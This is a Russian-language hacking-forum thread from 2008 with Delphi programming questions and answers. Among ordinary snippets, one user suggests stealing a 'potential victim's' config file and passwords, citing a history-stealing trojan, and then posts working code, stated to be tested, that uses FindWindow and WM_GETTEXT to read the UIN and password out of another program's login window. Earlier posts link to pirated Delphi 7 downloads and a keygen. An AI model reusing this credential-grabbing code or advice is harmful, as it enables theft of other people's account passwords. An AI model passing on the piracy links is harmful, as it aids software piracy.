25.04.2008, 14:47
|
|
Познающий
Регистрация: 22.02.2008
Сообщений: 62
С нами:
9587964
Репутация:
52
|
|
m9chik
Как это не странно, но тебе надо скачать программу delphi, например отсюда:
http://rapidshare.com/files/14013555/Delphi7-Cky4k.part1.rar
http://rapidshare.com/files/14015291/Delphi7-Cky4k.part2.rar
Кейген на Делфи 7 тут:
http://ifolder.ru/3615544
Других вариантов просто нет, если только другие версии.
http://www.delphilab.ru/content/view/87/75/- всевозможные версии, а вообще можешь поискать сам программа называется Borland Delphi
Последний раз редактировалось Myst; 25.04.2008 в 14:51..
|
|
|
25.04.2008, 15:18
|
|
Познающий
Регистрация: 22.02.2008
Сообщений: 62
С нами:
9587964
Репутация:
52
|
|
Код:
Randomize;
For i:=0 to 24 do
Begin
X:=random(99-i);
B[i]:=a[x];
A[x]:=a[99-i];
End;
Где а - массив со 100 числами, b - 25 которые нужно получить, i,x - целые числа.
Последний раз редактировалось De-visible; 27.04.2008 в 11:59..
Причина: теги [code] забыл...
|
|
|
|
26.04.2008, 17:01
|
|
Участник форума
Регистрация: 25.05.2007
Сообщений: 290
С нами:
9980798
Репутация:
435
|
|
Delphi
PHP код:
Язык: "Delphi"
Версия: "7"
/*
Как сделать так чтобы по нажатию 'Button' программа автоматически определяла
путь до самой себя и присваивала его 'Label1.Caption'.
*/
|
|
|
|
26.04.2008, 17:04
|
|
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
С нами:
10139366
Репутация:
1502
|
|
Label1.Caption := Application.ExeName;
__________________
Bedankt euch dafür bei euch selbst.
H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
|
|
|
|
26.04.2008, 20:57
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
С нами:
9575767
Репутация:
72
|
|
Вот еще один способ:
Label1.Caption:=paramstr(0);
|
|
|
|
26.04.2008, 23:47
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
С нами:
9575767
Репутация:
72
|
|
Ну ты сначало возьми определи название окна и всех элементов, можеш использовать для этого прогу которая идет с Vs или есть еще такая же штука в автоите, определяеш все нужные элементы и пихаеш в этот код, а для получения кажись пароля придется еще писать функцию, которая прочитает пасс под звездочками.
А не проще конфиг у потенциальной жертвы слямзить, а пароль расшифровать потом, какойнить утилитой, имхо намного проще притом за компанию можно уволоч и историю, тут даж гдето пример валялся такого троя, только крал он только историю, но там модифицировать для кражи конфиг файла, делов пары минут.
|
|
|
|
26.04.2008, 23:50
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
С нами:
10018169
Репутация:
1680
|
|
Сообщение от Dr.KoD
Ну ты сначало возьми определи название окна и всех элементов, можеш использовать для этого прогу которая идет с Vs или есть еще такая же штука в автоите, определяеш все нужные элементы и пихаеш в этот код, а для получения кажись пароля придется еще писать функцию, которая прочитает пасс под звездочками.
А не проще конфиг у потенциальной жертвы слямзить, а пароль расшифровать потом, какойнить утилитой, имхо намного проще притом за компанию можно уволоч и историю, тут даж гдето пример валялся такого троя, только крал он только историю, но там модифицировать для кражи конфиг файла, делов пары минут.
Суть этого кода в том, что жертва НЕ сохраняет пароль вообще, он лежит в открытом виде в этих полях.
|
|
|
|
27.04.2008, 00:11
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
С нами:
9575767
Репутация:
72
|
|
Код:
var
hManForm,hGroupBox,hEdit,hComboBox, hEdit1:HWND;
pUin:String;
pPass:String;
iUin:integer;
iPass:integer;
begin
hManForm:=FindWindow('TManForm',nil);
if hManForm <> 0 then
begin
hGroupBox:=FindWindowEx(hManForm,0,'TGroupBox',nil);
hComboBox:=FindWindowEx(hGroupBox,0,'TComboBox',nil);
hEdit1:=FindWindowEx(hComboBox,0,'Edit',nil);
iUIN:=SendMessage(hEdit1, WM_GETTEXTLENGTH, 0, 0);
if (iUin>0) then
begin
iUin:=iUin+1;
setlength(pUin, iUin);
sendmessage(hEdit1, wm_gettext, iUin, longint(@pUin[1]));
Label1.Caption:=pUin;
end;
hEdit:=FindWindowEx(hGroupBox,0,'TEdit',nil);
iPass:=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0);
if (iPass>0) then
begin
iPass:=iPass+1;
setlength(pPass, iPass);
sendmessage(hEdit, wm_gettext, iPass, longint(@pPass[1]));
Label2.Caption:=pPass;
end;
end;
end;
На вот, этот код 100% рабочий, проверял!!!  Там кароч в комбобоксе запрятан едит, да и я ошибочку в начале маленькую допустил, терь усе поправил. С тебя пол литра
зы этот код читает пасс только в ткрытом виде!!!
Последний раз редактировалось Dr.KoD; 27.04.2008 в 00:14..
|
|
|
|
27.04.2008, 02:54
|
|
Постоянный
Регистрация: 26.12.2007
Сообщений: 353
С нами:
9671366
Репутация:
332
|
|
скажите а возможноли установив в событии onClick к примеру у 3 компонентов Tedit такую процедуру procedure TForm1.Clickmyedit(Sender: TObject);
узнать из Sender какой именно из 3-х Edit'ов вызвал её???
спасибо но google рулит....)))))) кому надо выкладываю:
Код:
procedure TForm1.Clickmyedit(Sender: TObject);
begin
(Sender as TEdit).color:=clred;
end;
полный пример: _http://www.delphisources.ru/pages/faq/base/use_sender.html
так же для Tbutton и др. классов))) после точки все тоже что и edit1. )))))
даже 5 минут не прошло сразу нашел)))))
Последний раз редактировалось KIR@PRO; 27.04.2008 в 04:38..
|
|
|
|
27.04.2008, 15:36
|
|
Познающий
Регистрация: 04.01.2008
Сообщений: 62
С нами:
9658140
Репутация:
30
|
|
Как назначить один обработчик двум событиям? Например, мне нужно, чтобы в компонент TMemo попадало то, что введет пользователь в TEdit, но не только по нажатию кнопки, а и по нажатию клавиши Enter.
------------
И еще. Почему конструкция case не работает для строки? Например:
Код:
var
MyString: String;
begin
case MyString of
'привет': блок кода 1;
'пока': блок кода 2;
end;
end;
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
